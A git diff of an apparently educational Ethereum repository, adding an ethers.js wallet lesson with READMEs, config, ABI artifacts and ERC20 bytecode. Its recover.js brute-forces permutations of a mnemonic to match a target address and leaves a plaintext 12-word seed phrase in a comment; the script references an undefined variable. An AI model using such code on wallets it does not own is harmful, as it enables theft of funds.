+        var auctionDetails = await auctionContract.tokenToAuction(myerc721.address, erc721Id);
+
         let tokenAlice = hardhatToken.connect(Alice)
         await tokenAlice.approve(auctionContract.address, 1000);
         let allow = await  hardhatToken.allowance(Alice.address, auctionContract.address);
         console.log("alice allowans ", allow.toNumber());
 
         let auctionFixedPriceAlice = auctionContract.connect(Alice);
-        await auctionFixedPriceAlice.purchaseNFTToken(myerc721.address, erc721Id);
+        await auctionFixedPriceAlice.purchaseNFTToken(myerc721.address, erc721Id, auctionDetails.price);
 
         let erc721IdOwner = await  myerc721.ownerOf(erc721Id);
         console.log(erc721IdOwner)
diff --git a/Example16-hardhat-auction-exchange/test/auction-unfixed-test.js b/basic/16-nft-auction-exchange/test/auction-unfixed-test.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/test/auction-unfixed-test.js
rename to basic/16-nft-auction-exchange/test/auction-unfixed-test.js
diff --git a/Example16-hardhat-auction-exchange/test/erc20-test.js b/basic/16-nft-auction-exchange/test/erc20-test.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/test/erc20-test.js
rename to basic/16-nft-auction-exchange/test/erc20-test.js
diff --git a/Example16-hardhat-auction-exchange/test/erc721-test.js b/basic/16-nft-auction-exchange/test/erc721-test.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/test/erc721-test.js
rename to basic/16-nft-auction-exchange/test/erc721-test.js
diff --git a/Example16-hardhat-auction-exchange/test_url.js b/basic/16-nft-auction-exchange/test_url.js
similarity index 100%
rename from Example16-hardhat-auction-exchange/test_url.js
rename to basic/16-nft-auction-exchange/test_url.js
diff --git a/Example16-hardhat-auction-exchange/uploaded.json b/basic/16-nft-auction-exchange/uploaded.json
similarity index 100%
rename from Example16-hardhat-auction-exchange/uploaded.json
rename to basic/16-nft-auction-exchange/uploaded.json
diff --git a/Example14-hardhat-chainlink-PriceFeed/.gitignore b/basic/17-etherjs-wallet-develop/.gitignore
similarity index 100%
rename from Example14-hardhat-chainlink-PriceFeed/.gitignore
rename to basic/17-etherjs-wallet-develop/.gitignore
diff --git a/basic/17-etherjs-wallet-develop/README-CN.md b/basic/17-etherjs-wallet-develop/README-CN.md
new file mode 100644
index 000000000..de9b02e87
--- /dev/null
+++ b/basic/17-etherjs-wallet-develop/README-CN.md
@@ -0,0 +1,46 @@
+中文 / [English](./README.md)
+# 钱包开发
+
+HD 钱包(分层确定性钱包)，钱包协议：BIP32、BIP44、BIP39。 
+BIP32中提出的为了避免管理一堆私钥的麻烦提出的分层推导方案。
+而BIP44是给BIP32的分层增强了路径定义规范，同时增加了对多币种的支持。
+BIP39则通过定义助记词让种子的备份更友好。
+[钱包原理](https://learnblockchain.cn/2018/09/28/hdwallet/)
+
+## 钱包类型
+1. 随机数创建
+2. 私钥创建
+3. 助记词创建
+4. keystore 创建  
+   Keystore 文件是以太坊钱包存储私钥的一种文件格式 (JSON)。使用用户自己设置的密码来加密，以起到一定程度上的保护作用, 而保护的程度取决于用户加密该钱包的密码强度。
+5. 脑记忆钱包(etherjs 5 已经移除)
+
+## provider 类型
+1. Etherscan Provider：连接 Etherscan API 的 provider，需要 2 个参数，一个是网络名称，一个查询 API 所需的 token（之前的文章 有讲过，查询 Etherscan 的 API 时 apitoken 不是必须的，但如果没有的话会受到每秒 5 次的调用限制）。
+2. Json Rpc Provider：连接本地以太坊网点的 Provider。
+3. Infura Provider：连接 Infura 网络的 Provider，Infura 是一套以太坊的基础设施服务，同样有以太坊的主网络和测试网络。
+4. Web3 Provider：连接已有 web3 对象的 provider。
+5. Fallback Provider：连接一个可以是多种类型的 provider 集合，如果前面的 provider 有问题，会自动去连接后面的。
+
+```js
+const provider = providers.getDefaultProvider();
+const wallet = new Wallet(privateKey, provider);
+```
+
+或者
+```js
+const wallet = new Wallet(privateKey);
+wallet.provider = provider;
+```
+
+如果用普通的 JS number 对象来存储操作的话，可能会因为数据溢出而导致结果异常。
+
+执行测试用例
+```js
+hardhat test
+```
+## 参考链接
+
+- https://learnblockchain.cn/2019/04/11/wallet-dev-guide/#ethers.js
+- http://zhaozhiming.github.io/blog/2018/04/25/how-to-use-ethers-dot-js/
+- https://learnblockchain.cn/2018/10/25/eth-web-wallet_2/
diff --git a/basic/17-etherjs-wallet-develop/README.md b/basic/17-etherjs-wallet-develop/README.md
new file mode 100644
index 000000000..fdde83dbd
--- /dev/null
+++ b/basic/17-etherjs-wallet-develop/README.md
@@ -0,0 +1,50 @@
+[中文](./README-CN.md) / English
+
+# wallet development
+
+HD Wallet (Hierarchical Deterministic Wallet), Wallet Protocol: BIP32, BIP44, BIP39
+[Wallet Principle](https://learnblockchain.cn/2018/09/28/hdwallet/)
+
+## wallet type
+
+Created by:
+
+1. Random number
+2. Private key
+3. Mnemonic
+4. keystore
+   A Keystore file is a file format (JSON) in which the Ethereum wallet stores private keys. Use the password set by the user to encrypt to a certain extent, and the degree of protection depends on the password strength of the user to encrypt the wallet.
+5. Brain wallets (etherjs 5 has been removed)
+
+## provider type
+
+1. Etherscan Provider: It requires two parameters to connect the Etherscan API, one is the network name, and the other is the token required to query the API (the API token is not necessary when querying the Etherscan API, but if not, the subject will be limited of 5 calls per second).
+2. Json Rpc Provider: The Provider that connects to the local Ethereum network.
+3. Infura Provider: The Provider that connects to the Infura network. Infura is a set of Ethereum infrastructure services, and also has the Ethereum main network and test network.
+4. Web3 Provider: A provider that connects to an existed web3 object.
+5. Fallback Provider: Connect to a group of providers that can be of various types. If there is a problem with the previous provider, it will automatically connect to the latter.
+
+```js
+const provider = providers.getDefaultProvider();
+const wallet = new Wallet(privateKey, provider);
+```
+
+or
+
+```js
+const wallet = new Wallet(privateKey);
+wallet.provider = provider;
+```
+
+If you use a normal JS number object to store the operation, it may cause abnormal results due to data overflow.
+
+Execute test case
+```js
+hardhat test
+```
+
+## Reference link
+
+- <https://learnblockchain.cn/2019/04/11/wallet-dev-guide/#ethers.js>
+- <http://zhaozhiming.github.io/blog/2018/04/25/how-to-use-ethers-dot-js/>
+- <https://learnblockchain.cn/2018/10/25/eth-web-wallet_2/>
diff --git a/basic/17-etherjs-wallet-develop/hardhat.config.js b/basic/17-etherjs-wallet-develop/hardhat.config.js
new file mode 100644
index 000000000..cfeed5580
--- /dev/null
+++ b/basic/17-etherjs-wallet-develop/hardhat.config.js
@@ -0,0 +1,21 @@
+require("@nomiclabs/hardhat-waffle");
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task("accounts", "Prints the list of accounts", async (taskArgs, hre) => {
+  const accounts = await hre.ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+// You need to export an object to set up your config
+// Go to https://hardhat.org/config/ to learn more
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: "0.8.4",
+};
diff --git a/basic/17-etherjs-wallet-develop/package.json b/basic/17-etherjs-wallet-develop/package.json
new file mode 100644
index 000000000..995c1e58a
--- /dev/null
+++ b/basic/17-etherjs-wallet-develop/package.json
@@ -0,0 +1,17 @@
+{
+  "name": "17-etherjs-wallet-develop",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "@nomiclabs/hardhat-waffle": "^2.0.6",
+    "bip39": "^3.1.0",
+    "chai": "^5.1.0",
+    "hardhat": "^2.22.2",
+    "keccak": "^3.0.4",
+    "mocha": "^10.4.0"
+  }
+}
diff --git a/basic/17-etherjs-wallet-develop/test/recover.js b/basic/17-etherjs-wallet-develop/test/recover.js
new file mode 100644
index 000000000..0f90495f5
--- /dev/null
+++ b/basic/17-etherjs-wallet-develop/test/recover.js
@@ -0,0 +1,50 @@
+const {ethers} = require("hardhat");
+const bip39 = require('bip39');
+
+//  通过助记词创建钱包
+//squirrel refuse ozone miracle hollow renew sail clever fruit chaos merit brown
+function* permutations(arr, n = arr.length) {
+    if (n <= 1) yield arr.slice();
+    else for (let i = 0; i < n; i++) {
+        yield* permutations(arr, n - 1);
+        const j = n % 2 ? 0 : i;
+        [arr[n - 1], arr[j]] = [arr[j], arr[n - 1]];
+    }
+}
+
+const words = mnemonic.split(' ');
+
+for (const perm of permutations(words)) {
+    const testMnemonic = perm.join(' ');
+    console.log(testMnemonic);
+    if (bip39.validateMnemonic(testMnemonic)) {
+    
+       
+        for (let i = 0; i <= 10; i++) {
+            let path = `m/44'/60'/1'/0/${i}`;
+            let secondMnemonicWallet = ethers.Wallet.fromMnemonic(testMnemonic, path);
+            if (secondMnemonicWallet.address.toLowerCase() === "0x55A68930b14f8166AD0c432C01d68739B94d3cf3".toLowerCase()) {
+                console.log(`Valid mnemonic: ${testMnemonic} with path: ${path}`);
+                break;
+            }
+        }
+  
+    }
+   
+}
+
+// if (validMnemonics.length > 0) {
+//     console.log("Valid mnemonic orders found:");
+//     validMnemonics.forEach(mnemonic => console.log(mnemonic));
+// } else {
+//     console.error("No valid mnemonic order found.");
+// }
+
+// const wallet2 = ethers.Wallet.fromMnemonic(validMnemonics[0] ? validMnemonics[0] : mnemonic);
+// console.log("Address: " + wallet2.address);
+
+// // Load the second account from a mnemonic
+// let path = "m/44'/60'/1'/0/0";
+// let secondMnemonicWallet = ethers.Wallet.fromMnemonic(validMnemonics[0] ? validMnemonics[0] : mnemonic, path);
+// // Load using a non-english locale wordlist (the path "null" will use the default)
+// // let secondMnemonicWallet = ethers.Wallet.fromMnemonic(mnemonic, null, ethers.wordlists.ko);
diff --git a/Example17-etherjs-wallet-develop/test/wallet-test.js b/basic/17-etherjs-wallet-develop/test/wallet-test.js
similarity index 97%
rename from Example17-etherjs-wallet-develop/test/wallet-test.js
rename to basic/17-etherjs-wallet-develop/test/wallet-test.js
index 0bf053faf..ee78ce278 100644
--- a/Example17-etherjs-wallet-develop/test/wallet-test.js
+++ b/basic/17-etherjs-wallet-develop/test/wallet-test.js
@@ -1,4 +1,7 @@
-const { expect } = require("chai");
+
+const {ethers} = require("hardhat");
+const { expect } = import("chai");
+
 
 describe("Token contract", function() {
   it("create wallet", async function() {
diff --git a/Example18-web3py/.gitattributes b/basic/18-web3py/.gitattributes
similarity index 100%
rename from Example18-web3py/.gitattributes
rename to basic/18-web3py/.gitattributes
diff --git a/Example18-web3py/.gitignore b/basic/18-web3py/.gitignore
similarity index 100%
rename from Example18-web3py/.gitignore
rename to basic/18-web3py/.gitignore
diff --git a/basic/18-web3py/ABI/AccessControl.json b/basic/18-web3py/ABI/AccessControl.json
new file mode 100644
index 000000000..dc9ca854d
--- /dev/null
+++ b/basic/18-web3py/ABI/AccessControl.json
@@ -0,0 +1,215 @@
+{
+  "_format": "hh-sol-artifact-1",
+  "contractName": "AccessControl",
+  "sourceName": "contracts/openzeppelin/AccessControl.sol",
+  "abi": [
+    {
+      "anonymous": false,
+      "inputs": [
+        {
+          "indexed": true,
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "indexed": true,
+          "internalType": "bytes32",
+          "name": "previousAdminRole",
+          "type": "bytes32"
+        },
+        {
+          "indexed": true,
+          "internalType": "bytes32",
+          "name": "newAdminRole",
+          "type": "bytes32"
+        }
+      ],
+      "name": "RoleAdminChanged",
+      "type": "event"
+    },
+    {
+      "anonymous": false,
+      "inputs": [
+        {
+          "indexed": true,
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        },
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "sender",
+          "type": "address"
+        }
+      ],
+      "name": "RoleGranted",
+      "type": "event"
+    },
+    {
+      "anonymous": false,
+      "inputs": [
+        {
+          "indexed": true,
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        },
+        {
+          "indexed": true,
+          "internalType": "address",
+          "name": "sender",
+          "type": "address"
+        }
+      ],
+      "name": "RoleRevoked",
+      "type": "event"
+    },
+    {
+      "inputs": [],
+      "name": "DEFAULT_ADMIN_ROLE",
+      "outputs": [
+        {
+          "internalType": "bytes32",
+          "name": "",
+          "type": "bytes32"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        }
+      ],
+      "name": "getRoleAdmin",
+      "outputs": [
+        {
+          "internalType": "bytes32",
+          "name": "",
+          "type": "bytes32"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        }
+      ],
+      "name": "grantRole",
+      "outputs": [],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        }
+      ],
+      "name": "hasRole",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        }
+      ],
+      "name": "renounceRole",
+      "outputs": [],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "bytes32",
+          "name": "role",
+          "type": "bytes32"
+        },
+        {
+          "internalType": "address",
+          "name": "account",
+          "type": "address"
+        }
+      ],
+      "name": "revokeRole",
+      "outputs": [],
+      "stateMutability": "nonpayable",
+      "type": "function"
+    },
+    {
+      "inputs": [
+        {
+          "internalType": "bytes4",
+          "name": "interfaceId",
+          "type": "bytes4"
+        }
+      ],
+      "name": "supportsInterface",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    }
+  ],
+  "bytecode": "0x",
+  "deployedBytecode": "0x",
+  "linkReferences": {},
+  "deployedLinkReferences": {}
+}
diff --git a/basic/18-web3py/ABI/Context.json b/basic/18-web3py/ABI/Context.json
new file mode 100644
index 000000000..f59713046
--- /dev/null
+++ b/basic/18-web3py/ABI/Context.json
@@ -0,0 +1,10 @@
+{
+  "_format": "hh-sol-artifact-1",
+  "contractName": "Context",
+  "sourceName": "contracts/openzeppelin/Context.sol",
+  "abi": [],
+  "bytecode": "0x",
+  "deployedBytecode": "0x",
+  "linkReferences": {},
+  "deployedLinkReferences": {}
+}
diff --git a/basic/18-web3py/ABI/ERC165.json b/basic/18-web3py/ABI/ERC165.json
new file mode 100644
index 000000000..eb28c9fc3
--- /dev/null
+++ b/basic/18-web3py/ABI/ERC165.json
@@ -0,0 +1,30 @@
+{
+  "_format": "hh-sol-artifact-1",
+  "contractName": "ERC165",
+  "sourceName": "contracts/openzeppelin/ERC165.sol",
+  "abi": [
+    {
+      "inputs": [
+        {
+          "internalType": "bytes4",
+          "name": "interfaceId",
+          "type": "bytes4"
+        }
+      ],
+      "name": "supportsInterface",
+      "outputs": [
+        {
+          "internalType": "bool",
+          "name": "",
+          "type": "bool"
+        }
+      ],
+      "stateMutability": "view",
+      "type": "function"
+    }
+  ],
+  "bytecode": "0x",
+  "deployedBytecode": "0x",
+  "linkReferences": {},
+  "deployedLinkReferences": {}
+}
diff --git a/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/ERC20.json b/basic/18-web3py/ABI/ERC20.json
similarity index 98%
rename from Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/ERC20.json
rename to basic/18-web3py/ABI/ERC20.json
index 13633aa7a..55bc17f50 100644
--- a/Example08-hardhat-graph/artifacts/contracts/SimpleToken.sol/ERC20.json
+++ b/basic/18-web3py/ABI/ERC20.json
@@ -1,7 +1,7 @@
 {
   "_format": "hh-sol-artifact-1",
   "contractName": "ERC20",
-  "sourceName": "contracts/SimpleToken.sol",
+  "sourceName": "contracts/erc20.sol",
   "abi": [
     {
       "inputs": [
@@ -290,8 +290,8 @@
       "type": "function"
     }
   ],
-  "bytecode": "0x60806040523480156200001157600080fd5b506040516200167838038062001678833981810160405281019062000037919062000193565b81600390805190602001906200004f92919062000071565b5080600490805190602001906200006892919062000071565b50505062000337565b8280546200007f90620002a3565b90600052602060002090601f016020900481019282620000a35760008555620000ef565b82601f10620000be57805160ff1916838001178555620000ef565b82800160010185558215620000ef579182015b82811115620000ee578251825591602001919060010190620000d1565b5b509050620000fe919062000102565b5090565b5b808211156200011d57600081600090555060010162000103565b5090565b60006200013862000132846200023a565b62000206565b9050828152602081018484840111156200015157600080fd5b6200015e8482856200026d565b509392505050565b600082601f8301126200017857600080fd5b81516200018a84826020860162000121565b91505092915050565b60008060408385031215620001a757600080fd5b600083015167ffffffffffffffff811115620001c257600080fd5b620001d08582860162000166565b925050602083015167ffffffffffffffff811115620001ee57600080fd5b620001fc8582860162000166565b9150509250929050565b6000604051905081810181811067ffffffffffffffff8211171562000230576200022f62000308565b5b8060405250919050565b600067ffffffffffffffff82111562000258576200025762000308565b5b601f19601f8301169050602081019050919050565b60005b838110156200028d57808201518184015260208101905062000270565b838111156200029d576000848401525b50505050565b60006002820490506001821680620002bc57607f821691505b60208210811415620002d357620002d2620002d9565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61133180620003476000396000f3fe608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610ffa565b60405180910390f35b6100e660048036038101906100e19190610c73565b610308565b6040516100f39190610fdf565b60405180910390f35b610104610326565b60405161011191906110fc565b60405180910390f35b610134600480360381019061012f9190610c24565b610330565b6040516101419190610fdf565b60405180910390f35b610152610428565b60405161015f9190611117565b60405180910390f35b610182600480360381019061017d9190610c73565b610431565b60405161018f9190610fdf565b60405180910390f35b6101b260048036038101906101ad9190610bbf565b6104dd565b6040516101bf91906110fc565b60405180910390f35b6101d0610525565b6040516101dd9190610ffa565b60405180910390f35b61020060048036038101906101fb9190610c73565b6105b7565b60405161020d9190610fdf565b60405180910390f35b610230600480360381019061022b9190610c73565b6106a2565b60405161023d9190610fdf565b60405180910390f35b610260600480360381019061025b9190610be8565b6106c0565b60405161026d91906110fc565b60405180910390f35b6060600380546102859061122c565b80601f01602080910402602001604051908101604052809291908181526020018280546102b19061122c565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610747565b848461074f565b6001905092915050565b6000600254905090565b600061033d84848461091a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff9061107c565b60405180910390fd5b61041c85610414610747565b85840361074f565b60019150509392505050565b60006012905090565b60006104d361043e610747565b84846001600061044c610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104ce919061114e565b61074f565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600480546105349061122c565b80601f01602080910402602001604051908101604052809291908181526020018280546105609061122c565b80156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b5050505050905090565b600080600160006105c6610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067a906110dc565b60405180910390fd5b61069761068e610747565b8585840361074f565b600191505092915050565b60006106b66106af610747565b848461091a565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b6906110bc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561082f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108269061103c565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161090d91906110fc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561098a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109819061109c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f19061101c565b60405180910390fd5b610a05838383610b90565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a829061105c565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b1e919061114e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b8291906110fc565b60405180910390a350505050565b505050565b600081359050610ba4816112cd565b92915050565b600081359050610bb9816112e4565b92915050565b600060208284031215610bd157600080fd5b6000610bdf84828501610b95565b91505092915050565b60008060408385031215610bfb57600080fd5b6000610c0985828601610b95565b9250506020610c1a85828601610b95565b9150509250929050565b600080600060608486031215610c3957600080fd5b6000610c4786828701610b95565b9350506020610c5886828701610b95565b9250506040610c6986828701610baa565b9150509250925092565b60008060408385031215610c8657600080fd5b6000610c9485828601610b95565b9250506020610ca585828601610baa565b9150509250929050565b610cb8816111b6565b82525050565b6000610cc982611132565b610cd3818561113d565b9350610ce38185602086016111f9565b610cec816112bc565b840191505092915050565b6000610d0460238361113d565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610d6a60228361113d565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610dd060268361113d565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e3660288361113d565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610e9c60258361113d565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f0260248361113d565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610f6860258361113d565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b610fca816111e2565b82525050565b610fd9816111ec565b82525050565b6000602082019050610ff46000830184610caf565b92915050565b600060208201905081810360008301526110148184610cbe565b905092915050565b6000602082019050818103600083015261103581610cf7565b9050919050565b6000602082019050818103600083015261105581610d5d565b9050919050565b6000602082019050818103600083015261107581610dc3565b9050919050565b6000602082019050818103600083015261109581610e29565b9050919050565b600060208201905081810360008301526110b581610e8f565b9050919050565b600060208201905081810360008301526110d581610ef5565b9050919050565b600060208201905081810360008301526110f581610f5b565b9050919050565b60006020820190506111116000830184610fc1565b92915050565b600060208201905061112c6000830184610fd0565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611159826111e2565b9150611164836111e2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156111995761119861125e565b5b828201905092915050565b60006111af826111c2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156112175780820151818401526020810190506111fc565b83811115611226576000848401525b50505050565b6000600282049050600182168061124457607f821691505b602082108114156112585761125761128d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6112d6816111a4565b81146112e157600080fd5b50565b6112ed816111e2565b81146112f857600080fd5b5056fea264697066735822122038d08cf042ca9ed8cb8165339d14391ba1f9029c8982ccdbef3fd55257da409664736f6c63430008000033",
-  "deployedBytecode": "0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610ffa565b60405180910390f35b6100e660048036038101906100e19190610c73565b610308565b6040516100f39190610fdf565b60405180910390f35b610104610326565b60405161011191906110fc565b60405180910390f35b610134600480360381019061012f9190610c24565b610330565b6040516101419190610fdf565b60405180910390f35b610152610428565b60405161015f9190611117565b60405180910390f35b610182600480360381019061017d9190610c73565b610431565b60405161018f9190610fdf565b60405180910390f35b6101b260048036038101906101ad9190610bbf565b6104dd565b6040516101bf91906110fc565b60405180910390f35b6101d0610525565b6040516101dd9190610ffa565b60405180910390f35b61020060048036038101906101fb9190610c73565b6105b7565b60405161020d9190610fdf565b60405180910390f35b610230600480360381019061022b9190610c73565b6106a2565b60405161023d9190610fdf565b60405180910390f35b610260600480360381019061025b9190610be8565b6106c0565b60405161026d91906110fc565b60405180910390f35b6060600380546102859061122c565b80601f01602080910402602001604051908101604052809291908181526020018280546102b19061122c565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610747565b848461074f565b6001905092915050565b6000600254905090565b600061033d84848461091a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff9061107c565b60405180910390fd5b61041c85610414610747565b85840361074f565b60019150509392505050565b60006012905090565b60006104d361043e610747565b84846001600061044c610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104ce919061114e565b61074f565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600480546105349061122c565b80601f01602080910402602001604051908101604052809291908181526020018280546105609061122c565b80156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b5050505050905090565b600080600160006105c6610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067a906110dc565b60405180910390fd5b61069761068e610747565b8585840361074f565b600191505092915050565b60006106b66106af610747565b848461091a565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b6906110bc565b604051